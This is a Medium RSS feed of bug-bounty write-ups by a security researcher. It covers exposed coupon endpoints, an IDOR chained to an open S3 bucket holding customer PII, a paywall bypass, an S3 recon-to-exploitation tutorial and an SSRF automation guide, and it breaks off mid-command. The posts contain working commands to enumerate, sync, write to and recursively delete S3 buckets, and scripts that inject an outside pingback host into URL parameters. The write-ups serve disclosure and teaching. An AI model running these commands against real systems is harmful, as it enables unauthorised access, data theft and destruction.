<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ashiqur Rahman Emon on Medium]]></title>
        <description><![CDATA[Stories by Ashiqur Rahman Emon on Medium]]></description>
        <link>https://medium.com/@ashiq.r.emon?source=rss-147a773a69ea------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*Qa0M7EFbiMyOouEfgGDBpg.jpeg</url>
            <title>Stories by Ashiqur Rahman Emon on Medium</title>
            <link>https://medium.com/@ashiq.r.emon?source=rss-147a773a69ea------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Tue, 24 Nov 2026 03:29:47 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@ashiq.r.emon/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[How Reading a JavaScript Bundle Led Me to 29 Valid Coupon Codes in a Hidden API Endpoint]]></title>
            <link>https://medium.com/@ashiq.r.emon/how-reading-a-javascript-bundle-led-me-to-29-valid-coupon-codes-in-a-hidden-api-endpoint-d898f6f395a4?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/d898f6f395a4</guid>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Wed, 17 Jun 2026 09:31:37 GMT</pubDate>
            <atom:updated>2026-06-17T09:31:37.271Z</atom:updated>
            <content:encoded><![CDATA[<h3>It Started With a JS Bundle</h3><p>I wasn’t hunting for coupons. I was doing what I always do early in a recon session — pulling the JavaScript bundles, reading through the minified source manually, and building a list of API routes to probe. Most of the time this turns up nothing interesting. This time it didn’t.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*_e05AZi7yrB-Gl3-ZQqCeQ.png" /></figure><p>I was going through the bundle manually, searching for strings like /api/, account, and v2[1,2,3] — just pattern matching by eye. Buried in one of the chunks was a route that immediately stood out:</p><pre>/api/v2/coupon/hidden_recurly_coupon</pre><p>The word “hidden” in a production endpoint name is one of those small signals that’s hard to ignore. Developers don’t name things that way by accident — it usually means the endpoint does something that wasn’t supposed to be visible. So I hit it.</p><p>bash</p><pre>curl -s &#39;https://api.redacted.com/api/v2/coupon/hidden_recurly_coupon&#39;</pre><p>No authentication. No session cookie. No API key. It responded with <strong>29 coupon codes</strong> in plain text.</p><h3>What the Codes Looked Like</h3><p>The response included a mix of internal, partner, and campaign-style codes:</p><pre>partners<br>57251<br>allmembers<br>premium</pre><p>Some of these names were self-explanatory enough to know they weren’t meant for the general public. partners is clearly a partner program code. 57251 is an opaque numeric code — the kind that gets generated for a specific internal campaign and never published anywhere. allmembers and premium suggest tier-based or promotional access.</p><p>At this point I had 29 codes and no idea what each one was actually worth. So I moved to the next endpoint.</p><h3>Checking What the Codes Were Worth</h3><p>Continuing through the same bundle, I also found a coupon detail route:</p><p>bash</p><pre>curl -s &#39;https://api.redacted.com/api/v2/account/1/coupons/57251&#39;</pre><p>Response:</p><p>json</p><pre>{<br>  &quot;code&quot;: &quot;57251&quot;,<br>  &quot;name&quot;: &quot;Internal50&quot;,<br>  &quot;state&quot;: &quot;redeemable&quot;,<br>  &quot;duration&quot;: &quot;temporal&quot;,<br>  &quot;temporal_amount&quot;: 1,<br>  &quot;temporal_unit&quot;: &quot;year&quot;,<br>  &quot;discount_type&quot;: &quot;percent&quot;,<br>  &quot;discount_percent&quot;: 50<br>}</pre><p>50% off. One full year. Named Internal50. Redeemable. Accessible to anyone who happened to read a JS file.</p><p>The partner code told the same story:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/745/1*qtQpG_o0r_XKACaAnjP8IQ.png" /><figcaption>POC</figcaption></figure><p>bash</p><pre>curl -s &#39;https://api.redacted.com/api/v2/account/2/coupons/partners&#39;</pre><p>json</p><pre>{<br>  &quot;code&quot;: &quot;partners&quot;,<br>  &quot;name&quot;: &quot;PartnerStack&quot;,<br>  &quot;state&quot;: &quot;redeemable&quot;,<br>  &quot;duration&quot;: &quot;temporal&quot;,<br>  &quot;temporal_amount&quot;: 1,<br>  &quot;temporal_unit&quot;: &quot;year&quot;,<br>  &quot;discount_type&quot;: &quot;percent&quot;,<br>  &quot;discount_percent&quot;: 50<br>}</pre><p>A PartnerStack affiliate code — meant for paying integration partners — sitting unauthenticated and freely readable.</p><h3>The Bonus: Account ID Wasn’t Validated at All</h3><p>Notice the account/{id} segment in the detail endpoint URL:</p><pre>/api/v2/account/{account_id}/coupons/{coupon_code}</pre><p>That looks like it should scope the request to a specific account. I tried a few values to see if it did:</p><p>bash</p><pre>curl -s &#39;https://api.redacted.com/api/v2/account/1/coupons/57251&#39;<br>curl -s &#39;https://api.redacted.com/api/v2/account/123/coupons/57251&#39;<br>curl -s &#39;https://api.redacted.com/api/v2/account/999999/coupons/57251&#39;</pre><p>All four returned identical responses. The server wasn’t checking the account ID at all — it was completely ignored. This is a textbook BOLA (Broken Object Level Authorization) pattern: a path parameter that implies access scoping but enforces none.</p><h3>Impact</h3><p>Any unauthenticated user who manually read through the JS bundle could:</p><ol><li>Pull the full list of 29 internal coupon codes from the enumeration endpoint</li><li>Look up the discount value and status of each one</li><li>Identify which ones were active and redeemable</li><li>Apply a 50% annual discount they were never supposed to have access to</li></ol><p>The financial impact is direct — a 50% discount on a paid SaaS subscription is not a trivial bypass. Beyond that, the leaked naming conventions (Internal50, PartnerStack) expose the platform&#39;s internal discount structure, which is useful for social engineering or competitive intelligence.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=d898f6f395a4" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[How a simple UI translation endpoint led to 300,000+ exposed customer records]]></title>
            <link>https://medium.com/@ashiq.r.emon/how-a-simple-ui-translation-endpoint-led-to-300-000-exposed-customer-records-b1ca1ec85b08?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/b1ca1ec85b08</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Mon, 15 Jun 2026 10:30:04 GMT</pubDate>
            <atom:updated>2026-06-17T07:54:05.855Z</atom:updated>
            <content:encoded><![CDATA[<p>Imagine hunting for security vulnerabilities, querying an endpoint that appears completely public and harmless, and suddenly stumbling upon an artifact that opens the floodgates to hundreds of thousands of sensitive customer records.</p><p>This isn’t just a theoretical exercise. In a recent bug bounty investigation, I discovered a critical flaw where an insecurely configured translation dictionary API leaked backend configuration details. By exploiting an Insecure Direct Object Reference (IDOR) and chaining it with a misconfigured cloud storage bucket, I was able to locate over <strong>300,000 exposed customer PII records and financial invoices</strong>.</p><p>Despite a clear data lineage originating directly from the core production infrastructure, the triage journey for this bug took an unexpected turn. Here is the technical breakdown of how the exploit chain worked, why the vulnerability was highly exploitable, and a look behind the scenes at the bug bounty triage process.</p><h3>The Vulnerability Chain at a Glance</h3><p>The entire exploit path relies on a concept known as <strong>Vulnerability Chaining</strong> — taking two minor or seemingly independent issues and combining them to achieve high-impact critical exposure.</p><pre>[ Unauthenticated Translation API ] <br>               │<br>               ▼ (IDOR / Group ID Enumeration)<br>[ 403 Bypass / Server-Side Sensitive Leak ]<br>               │<br>               ▼ (Leaked Hardcoded Storage URL)<br>[ Publicly Accessible Cloud Storage Bucket ] ──► [ 300,000+ Customer PII &amp; Invoices ]</pre><h3>Phase 1: Hunting in the Dictionaries (The IDOR Discovery)</h3><p>While mapping the external attack surface of a major identity and signing infrastructure provider, I came across an interesting endpoint designed to fetch language translation keys for unauthenticated application interfaces:</p><p>HTTP</p><pre>GET /path?language=en&amp;translationKeyGroupId=1 HTTP/1.1<br>Host: api.target-infrastructure.io</pre><p>At first glance, a triage team or developer might look at this endpoint and think, <em>“It’s just UI translation dictionaries; there is no sensitive data here, so it’s fine if it’s public.”</em> However, as offensive security researchers, we look closer at parameters like translationKeyGroupId=1. What happens if we start incrementing that integer?</p><p>When fuzzing and enumerating the translationKeyGroupId parameter, a fascinating pattern emerged in the HTTP response statuses:</p><ul><li>translationKeyGroupId=1 $\rightarrow$ 200 OK</li><li>translationKeyGroupId=2 $\rightarrow$ 403 Forbidden</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*otsIUBpRfUGcB_jqSEjfxA.png" /><figcaption>id=2 403 Forbidden</figcaption></figure><ul><li>translationKeyGroupId=3 $\rightarrow$ 200 OK (Bypass Found)</li><li>translationKeyGroupId=8 $\rightarrow$ 403 Forbidden</li></ul><h3>Phase 2: The Server-Side Information Disclosure</h3><p>Bypassing the access control logic was only the first step. The real payload was waiting inside the successful response of the bypassed group ID.</p><p>When executing a request against the vulnerable group ID:</p><p>HTTP</p><pre>GET /path?language=en&amp;translationKeyGroupId=3 HTTP/1.1<br>Host: api.target-infrastructure.io</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/890/1*B1nFVRUeW5gVW1KCtRoIcg.png" /><figcaption>id=3 200 OK</figcaption></figure><p>The server responded with an structure containing hardcoded backend environmental mappings. Deeply embedded within the JSON payload of this unauthorized translation response was a hardcoded cloud storage URL:</p><p>Because the production API leaked this internal URL string, an unauthenticated attacker now had the exact map to a completely separate cloud infrastructure component.</p><h3>Phase 3: The Data Breach (300,000+ PII Records)</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/546/1*si7OB8DejSoVtM7E88ntYw.png" /></figure><p>Navigating directly to the leaked Amazon S3 cloud storage bucket revealed the final, devastating link in the chain.</p><p>The S3 bucket was missing appropriate access control lists (ACLs) and policy restrictions. Due to this public misconfiguration combined with the leaked path from Phase 2, the bucket allowed full listing and read access.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/792/1*fvorXKa6Nv-IkwASWOy_wQ.png" /></figure><p>Inside the bucket lay an archive of over <strong>300,000 critical customer records</strong>, including:</p><ul><li>Full Names and Contact Information</li><li>Sensitive customer PII (Personally Identifiable Information)</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/776/1*cX4l95bS5P5PPWf8JtFujA.png" /><figcaption>Leaked PII</figcaption></figure><h3>The Real-World Impact</h3><p>While triage conversations often focus on infrastructure boundaries, the real-world risk of this chain is measured by the sheer volume and sensitivity of the exposed data:</p><ul><li><strong>Massive PII &amp; Financial Exposure:</strong> Unauthenticated access to approximately <strong>300,000 customer invoice records spanning nearly a decade</strong>. This exposed the structural, financial, and personal data of the platform’s actual business customers.</li><li><strong>Extensive Lateral Infrastructure Leakage:</strong> Beyond the S3 bucket, the remaining 13 bypassed translation group IDs leaked critical internal blueprints, including:</li><li>Hardcoded OAuth permission models and internal backend error codes.</li><li>Active Azure AD configuration metadata and live unit test artifacts sitting in production.</li><li>Specialized BankID and FTN email templates — providing perfect blueprints for highly convincing, targeted phishing campaigns.</li></ul><h3>Thank You!</h3><p>A huge thank you to the security community, the triage teams, and the engineering platforms that work continuously to review these complex findings.</p><p>Vulnerability chaining reminds us that no bug exists in a vacuum. Even when an asset sits on a boundary line between a provider and a customer, it is the responsibility of the collective security community to ensure the doors to sensitive data remain firmly shut.</p><p><em>If you enjoyed this technical breakdown, feel free to follow for more bug bounty writeups, chain mechanics, and web application security insights!</em></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=b1ca1ec85b08" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Subscription Paywall Bypass Leading to talent Profile Access and PII Disclosure (Including Deleted…]]></title>
            <link>https://medium.com/@ashiq.r.emon/subscription-paywall-bypass-leading-to-talent-profile-access-and-pii-disclosure-including-deleted-a3eb7cb09ca0?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/a3eb7cb09ca0</guid>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Sun, 29 Mar 2026 06:43:23 GMT</pubDate>
            <atom:updated>2026-03-30T05:08:45.899Z</atom:updated>
            <content:encoded><![CDATA[<h3>Subscription Paywall Bypass Leading to talent Profile Access and PII Disclosure (Including Deleted Accounts)</h3><h3>Description</h3><p>During a security assessment of the <strong>Redacted</strong> talent platform, I identified a series of critical vulnerabilities. These flaws allow unauthenticated users to bypass the subscription-based paywall, access private artist portfolios, and extract sensitive Personal Identifiable Information (PII) — specifically email addresses — even for accounts that have been officially deleted.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/529/1*sJf7UuR-t6PEzilhhERDNA.png" /></figure><h3>Issue 1: Subscription Paywall Bypass</h3><p>The platform’s talent directory (https://redacted.com/talent) utilizes a frontend redirect to a payment wall when a user attempts to view an artist&#39;s profile. This is intended to restrict portfolio access to paying subscribers.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5zO3GFa7HevaJQdSHLCmTg.png" /></figure><p>However, the restriction is not enforced at the server level. By navigating directly to the profile endpoint: https://redacted.com/talent/redacted/&lt;artist-name&gt;</p><p>An attacker can bypass the payment gateway entirely. This indicates that access control is <strong>client-side only</strong>. I successfully enumerated over 650+ valid artist usernames that are accessible without a subscription.</p><h3>Issue 2: PII Leakage via Serialized JSON (Information Disclosure)</h3><p>While the UI hides the “Contact” details behind a paywall, the backend response for the profile page includes a serialized JSON object within the HTML source code.</p><p>https://redacted.com/talent/redacted/&lt;artist-name&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*o6DHA8RxBxKWPRw-8HA0OQ.png" /></figure><p>By viewing the <strong>Page Source</strong>, any user can locate a JSON blob containing the artist’s raw email address and internal metadata. This allows for the harvesting of artist contact information without any financial transaction, undermining the platform’s primary business model.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*nzAB_XlCfojV38ajiETkNA.png" /></figure><h3>Issue 3: Persistent Data Leakage on Deleted Accounts</h3><p>Perhaps most critically, the platform fails to purge user data from its response objects upon account deletion.</p><p>When accessing the URL of a deleted profile: https://redacted.com/talent/redacted/&lt;deleted_artist-name&gt;</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*S1NRGQeB_yFShzuz4XCjjg.png" /></figure><p>The server returns a <strong>404 Not Found</strong> status code and a “Page Not Found” UI. However, the underlying HTML source code still contains the full serialized JSON object of the deleted user, including their email address and PII. This represents a significant privacy failure and a violation of data deletion standards (such as GDPR “Right to Erasure”).</p><h3>In short</h3><h3>1. Bypassing the Paywall</h3><ol><li>Navigate to the Talent listing page: <a href="https://redacted.com/talent.">https://redacted.com/talent.</a></li></ol><p>2. Observe that clicking a profile triggers a redirect to the subscription/pricing page.</p><ol><li>Manually enter a direct profile URL in the browser: <a href="https://redacted.com/talent/redacted/[username].">https://redacted.com/talent/redacted/[</a>artist-name<a href="https://redacted.com/talent/redacted/[username].">].</a></li><li>Observe that the full profile loads, bypassing the payment requirement.</li></ol><h3>2. Extracting Private Email Addresses</h3><ol><li>On any artist profile (accessed via the bypass above), right-click and select <strong>“View Page Source”</strong>.</li><li>Press Ctrl+F and search for the string &quot;email&quot;:.</li><li>Observe the artist’s private email address exposed within the JSON object.</li></ol><h3>3. Recovering Data from Deleted Accounts</h3><ol><li>Attempt to access a known deleted profile URL https://redacted.com/talent/redacted/&lt;deleted_artist-name&gt;.</li><li>Confirm the page returns a <strong>404 Error</strong>.</li><li>View the page source of the 404 response.</li><li>Search for &quot;email&quot;: to find the PII of the deleted user still present in the response body.</li></ol><h3>Impact</h3><p>The combination of these vulnerabilities presents a severe risk to both the platform’s users and its core business model:</p><ul><li><strong>Financial Loss &amp; Business Model Collapse:</strong> The platform’s primary revenue stream relies on charging HR and recruitment professionals for access to a curated talent pool. By bypassing the paywall and leaking portfolios, an attacker can make this “exclusive” data public. This removes the incentive for recruiters to pay for a subscription, leading to a direct loss of projected revenue.</li><li><strong>Compliance Failure (GDPR/Data Privacy):</strong> The exposure of PII for <strong>deleted accounts</strong> indicates a failure in the “Right to Erasure.” This could result in significant legal fines and regulatory scrutiny.</li><li><strong>Brand Reputation Damage:</strong> If artists realize their private contact information and “exclusive” portfolios are being leaked to the public internet, they may lose trust in the platform and migrate to competitors.</li><li><strong>Automation &amp; Scrapping Risk:</strong> The lack of server-side validation allows for trivial scripting to harvest the entire database of talent, effectively cloning the platform’s value elsewhere for free.</li></ul><h3>Timeline:</h3><blockquote><em>Reported → </em>Mar 6, 2026, 2:24 PM GMT+5</blockquote><blockquote><em>Acknowledged → </em>Mar 9, 2026, 4:51 AM GMT+5</blockquote><blockquote><em>Bounty Rewarded → </em>Mar 12, 2026, 9:27 PM GMT+5</blockquote><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a3eb7cb09ca0" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Hacking the Cloud Perimeter: Amazonaws S3 Bucket Complete Reconnaissance to Exploitation]]></title>
            <link>https://medium.com/@ashiq.r.emon/hacking-the-breaking-the-cloud-perimeter-amazonaws-s3-bucket-complete-reconnaissance-to-0726713b0e6f?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/0726713b0e6f</guid>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Wed, 14 Jan 2026 17:48:00 GMT</pubDate>
            <atom:updated>2026-03-30T17:50:10.399Z</atom:updated>
            <content:encoded><![CDATA[<p>Welcome to my new InfoSec blog! I’m <strong>Md Ashiqur Rahman Emon</strong>, a cybersecurity practitioner with a deep passion for security research. I’m excited to share my insights and write-ups with fellow security enthusiasts — enjoy the read!</p><p>In the world of cloud security, Amazon S3 buckets are often that leads to massive data breaches. Whether it’s leaked PII, hardcoded credentials, or source code, a misconfigured bucket is a goldmine. In this write-up, I’ll walk you through my methodology for moving from initial reconnaissance to a complete bucket compromise.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9SylRV3UBYWQgg2TSMzaow.png" /><figcaption>Reconnaissance to Exploitation</figcaption></figure><h3>Phase 1: Reconnaissance (The Hunt)</h3><p>The goal of this phase is to identify valid bucket names associated with your target.</p><h3>Method 1: Subdomain-Based Enumeration</h3><p>Start by gathering all possible subdomains using tools like <strong>Subfinder</strong> or <strong>Findomain</strong>. Supplement this with JS file scraping and search engines (Google, Shodan, Fofa). Once you have a subdomains.txt file, use <strong>ffuf</strong> to find virtual-hosted style buckets.</p><blockquote><strong><em>Note:</em></strong><em> Be mindful of AWS WAF rate limits. Use the following flags to stay below the threshold and avoid IP blocking.</em></blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*qRGsKHtSDdg4GW_H3-8RoA.png" /><figcaption>Practical Demonstration</figcaption></figure><p>Bash</p><pre># Targeting the global S3 endpoint<br>ffuf -u https://FUZZ.s3.amazonaws.com -w subdomains.txt -t 20 -rate 10 -timeout 5 -mc 200,301,302,307,308,400,403,409 -s | anew s3.txt</pre><pre>Replace the region name (for example, us-east-1, us-east-2, eu-west-1, etc.) as needed.</pre><pre># Targeting a specific region<br>ffuf -u https://FUZZ.s3.&lt;region&gt;.amazonaws.com -w subdomains.txt -t 20 -rate 10 -timeout 5 -mc 200,301,302,307,308,400,403,409 -s | anew s3.txt</pre><blockquote><strong><em>Note:</em></strong><em> There is a high chance of false positives. Make sure to verify whether the bucket actually belongs to the organization before taking action — but you may take a chance to report it, just try your luck.</em></blockquote><h3>Method 2: The JavaScript Goldmine</h3><p>Developers often leave S3 URLs inside JS files. You can extract these using tools like <strong>GoSpider, Subjs, web archive</strong>, <strong>Katana</strong>, or <strong>Hakrawler etc</strong>.</p><p>Once you have a list of JS URLs (js.txt), use <strong>Nuclei</strong> or <strong>httpx</strong> to filter for S3 links:</p><p>Bash</p><pre># Using Nuclei templates<br>nuclei -t s3-finder-template.yaml -l js.txt</pre><pre># Using httpx pattern matching<br>cat js.txt | httpx -ms &#39;amazonaws.com&#39; | anew possible-s3bucket.txt</pre><p>You can now manually verify the S3 bucket names from <strong>possible-s3bucket.txt</strong> and save the confirmed ones to <strong>s3.txt</strong></p><h3>Method 3: Deep Spidering</h3><p>Run <strong>GoSpider</strong> on your live hosts with a depth of 2 to catch links hidden deep within the application logic.</p><p>Bash</p><pre>gospider -S httpx.txt -d 2 -c 4 -t 10 -o output-directory<br>cd output-directory<br>cat * | gf s3-buckets <br>Grep the S3 bucket name and save it to s3.txt file</pre><h3>Method 4: Permutation Brute-Forcing</h3><p>If you have a company name (e.g., Tesla, PayPal), you can brute-force variations using <strong>LazyS3</strong>. there are so many opensource tools you can find on github i have used nahamsec lazys3 tool</p><blockquote><em>Note: Generate custom wordlist specific to each organization for better results</em></blockquote><p>Bash</p><pre>ruby lazys3.rb tesla | anew tesla.txt</pre><pre># Filter for interesting status codes<br>cat tesla.txt | grep -E &#39;200|301|302|307|308|400|403|409&#39; | awk &#39;{print $3}&#39; | anew s3.txt</pre><h3>Method 5: Google Dorking</h3><p>Simple but effective. Use dorks to find buckets already indexed by search engines:</p><p>site:s3.amazonaws.com “target-name”</p><p>We have now identified the S3 bucket names and confirmed that the legitimate ones are listed in <strong>s3.txt</strong>.<br> The next step is to determine whether any of these buckets are misconfigured.</p><h3>Phase 2: Exploitation (The Breach)</h3><p>Once you have your s3.txt list, it&#39;s time to check for misconfigurations. We are looking for <strong>Read (List)</strong>, <strong>Write</strong>, and <strong>Delete</strong> permissions.</p><h3>Setting Up</h3><p>You should have the <strong>AWS CLI</strong> installed. If you don’t have an AWS account, you can use the --no-sign-request flag to attempt unauthenticated access.I did not try this flag --no-sign-requestbecause my terminal AWS CLI is configured with valid credentials.</p><h3>1. Testing List Permissions</h3><p>If listing is enabled, we can see every file in the bucket.</p><p>Bash</p><pre># Check if we can copy a local file &#39;t.txt&#39; to the bucket<br>cat s3.txt | while read d; do aws s3 ls s3://$d --no-sign-request; done</pre><pre>#If you find that bucket listing permission is enabled. Download all objects to inspect for sensitive info (keys, tokens, Credentials etc.)<br>aws s3 sync s3://bucketname ./bucketname --no-sign-request</pre><h3>2. Testing Write Permissions</h3><p>Write access is a critical finding. It allows an attacker to upload malicious files or replace existing ones.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*k3bOVzSuixIIktQNK_SueA.png" /><figcaption>Proof of Concept (Demonstration)</figcaption></figure><p>Bash</p><pre>touch poc.txt<br>cat s3.txt | while read d; do aws s3 cp poc.txt s3://$d --no-sign-request | anew writeable.txt; done</pre><h3>3. Testing Delete Permissions (Use with Caution)</h3><p>If you find a writable bucket, check if you can delete your own PoC file. <strong>Never delete company data without explicit permission.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*__ugDKe6xLm1rOpaCU_ypw.png" /><figcaption>Proof of Concept (Demonstration)</figcaption></figure><p>Bash</p><pre>aws s3 rm s3://bucketname/poc.txt<br><br># Dangerous command — do not run the command given below without explicit company permission.<br># The following command deletes all objects from an S3 bucket if delete permission is enabled:<br>aws s3 rm s3://bucketname/ --recursive</pre><h3>Impact Assessment</h3><p>The severity of an S3 compromise depends on the data stored, but common impacts include:</p><ul><li><strong>Supply Chain Attacks:</strong> If the bucket hosts JS files used by a web app, an attacker can inject malicious code to steal user credentials or credit card info.</li><li><strong>Data Exfiltration:</strong> Disclosure of sensitive PII, backups, or internal configuration files.</li><li><strong>Malware Distribution:</strong> Using a legitimate company’s bucket to host and spread malware.</li><li><strong>Reputational Damage:</strong> Publicly accessible “private” data leads to loss of customer trust and potential legal fines.</li></ul><h3>Thank You</h3><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=0726713b0e6f" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Kali Linux XFCE Freeze Issue: No Minimize/Close Buttons, Mouse Not Working properly(Permanent Fix)]]></title>
            <link>https://medium.com/@ashiq.r.emon/kali-linux-xfce-freeze-issue-no-minimize-close-buttons-mouse-not-working-properly-permanent-fix-11c3a6018f46?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/11c3a6018f46</guid>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Tue, 06 Jan 2026 13:45:02 GMT</pubDate>
            <atom:updated>2026-01-16T09:01:28.372Z</atom:updated>
            <content:encoded><![CDATA[<p>If you use Kali Linux regularly, chances are you’ve run into this issue at least once</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*76GTCNxpYYrcg1jzZfxfSA.png" /></figure><p>🔥<strong><em> IMPORTANT: This is NOT a kernel freeze</em></strong></p><p>After heavy usage the desktop loads without minimize/close buttons, mouse clicks stop working, and the issue <strong>persists even after reboot</strong>.<br> Running xfwm4 --replace &amp; fixes it temporarily, but the problem returns every time.</p><p><strong>What’s actually happening:</strong><br> XFCE saves a <strong>broken session</strong> when the window manager (xfwm4) crashes under load. On every login, that corrupted session is restored, so the window manager never starts automatically.</p><p><strong>Permanent fix (no reinstall needed):</strong></p><p>Execute the given command in your terminal.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*VWBD3T-205K7yHbSdKLlQg.png" /></figure><pre>xfce4-session-settings</pre><ul><li>Go to <strong>Session</strong></li><li>Uncheck <strong>Automatically save session on logout</strong></li><li>Click <strong>Clear Saved Sessions</strong></li><li>Re-login or Restart</li></ul><p>This forces XFCE to start clean and fixes the issue permanently.</p><p><strong>Takeaway:</strong><br> This is a user-session XFCE issue — <strong>reinstalling Kali only wastes time</strong>.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=11c3a6018f46" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Automate SSRF Hunting Like a Pro: From Discovery to Escalation]]></title>
            <link>https://medium.com/@ashiq.r.emon/automate-ssrf-hunting-like-a-pro-from-discovery-to-escalation-fbd0e7cdc246?source=rss-147a773a69ea------2</link>
            <guid isPermaLink="false">https://medium.com/p/fbd0e7cdc246</guid>
            <category><![CDATA[ssrf-attack]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[vapt]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Ashiqur Rahman Emon]]></dc:creator>
            <pubDate>Mon, 29 Dec 2025 09:04:26 GMT</pubDate>
            <atom:updated>2025-12-31T05:40:46.964Z</atom:updated>
            <content:encoded><![CDATA[<p><strong>Server-Side Request Forgery (SSRF)</strong> is a critical vulnerability that occurs when an attacker forces a server-side application to make HTTP requests to an unintended destination. Essentially, the attacker uses the vulnerable server as a <strong>proxy</strong> to bypass network security controls.</p><h3>Phase 1: The Recon Aggregation</h3><p>The first step to finding SSRF is having a massive pool of URLs to test. I won’t walk you through the urls collection — being “handy” with open source tools is part of your job — but here is the stack you should be using to build your allurls.txt:</p><ul><li><strong>Passive Discovery:</strong> waymore, gau, gauplus, waybackurls, urlscan alienvault <strong>and</strong> virustotal</li><li><strong>Active Discovery:</strong> Burpsuite active scan web crawling, haktrails, katana, and gospider.</li></ul><h3>Phase 2: The Setup (Bypassing the WAF)</h3><p>To confirm an SSRF, you need a <strong>pingback server</strong>.</p><ul><li><strong>Common Choice:</strong> interactsh.</li><li><strong>Pro Tip:</strong> Many WAFs (Web Application Firewalls) blacklist interact.sh domains. To bypass this, use tinyurl or requestcatcher.com to mask your listener.</li></ul><h3>Phase 3: Targeted Parameter Injection</h3><p>The key to successful automation is <strong>tracking</strong>. If you blast 10,000 URLs and get one hit, you need to know exactly which URL triggered it.</p><h4>Technique 1: Protocol-Specific Replacement</h4><p>This regex targets parameters value that specifically look like they contain a URL (starting with http or https). It appends a unique ID (e.g., emon1, emon2 , emon3 …) to each request so you can map the hit back to the source URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/885/1*mTllyobsK6aRHhdAaUj7sg.png" /></figure><p>Bash</p><pre>cat allurls.txt | gawk &#39;BEGIN{c=1}{s=$0;out=&quot;&quot;;while(match(s,/([?&amp;][^=]+=)(https?:\/\/|https?%3A%2F%2F)([^\/&amp;?]+)([^&amp;]*)/,m)){proto=(tolower(m[2])~/^https/?&quot;https://&quot;:&quot;http://&quot;); out=out substr(s,1,RSTART-1) m[1] proto &quot;ashiquremon.requestcatcher.com/emon&quot; c m[4]; c++; s=substr(s,RSTART+RLENGTH)}; print out s}&#39; |grep -i requestcatcher | httpx -silent -fr</pre><pre>here is the http pingback poc in the ss given below</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hri0NQZGOooWJkCFGH3qtw.png" /></figure><h4>Technique 2: Blind Parameter Injection</h4><p>Sometimes, parameters value that don’t look like URLs are still vulnerable. This command replaces <strong>every</strong> parameter value with your pingback URL.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/857/1*IFvc-V9JDDz_7ca9icQokQ.png" /></figure><p>Bash</p><pre>cat allurls.txt | awk &#39;BEGIN{c=1} {split($0,a,&quot;\\?&quot;); domain=a[1]; if(length(a)&gt;1){split(a[2],p,&quot;&amp;&quot;); for(i in 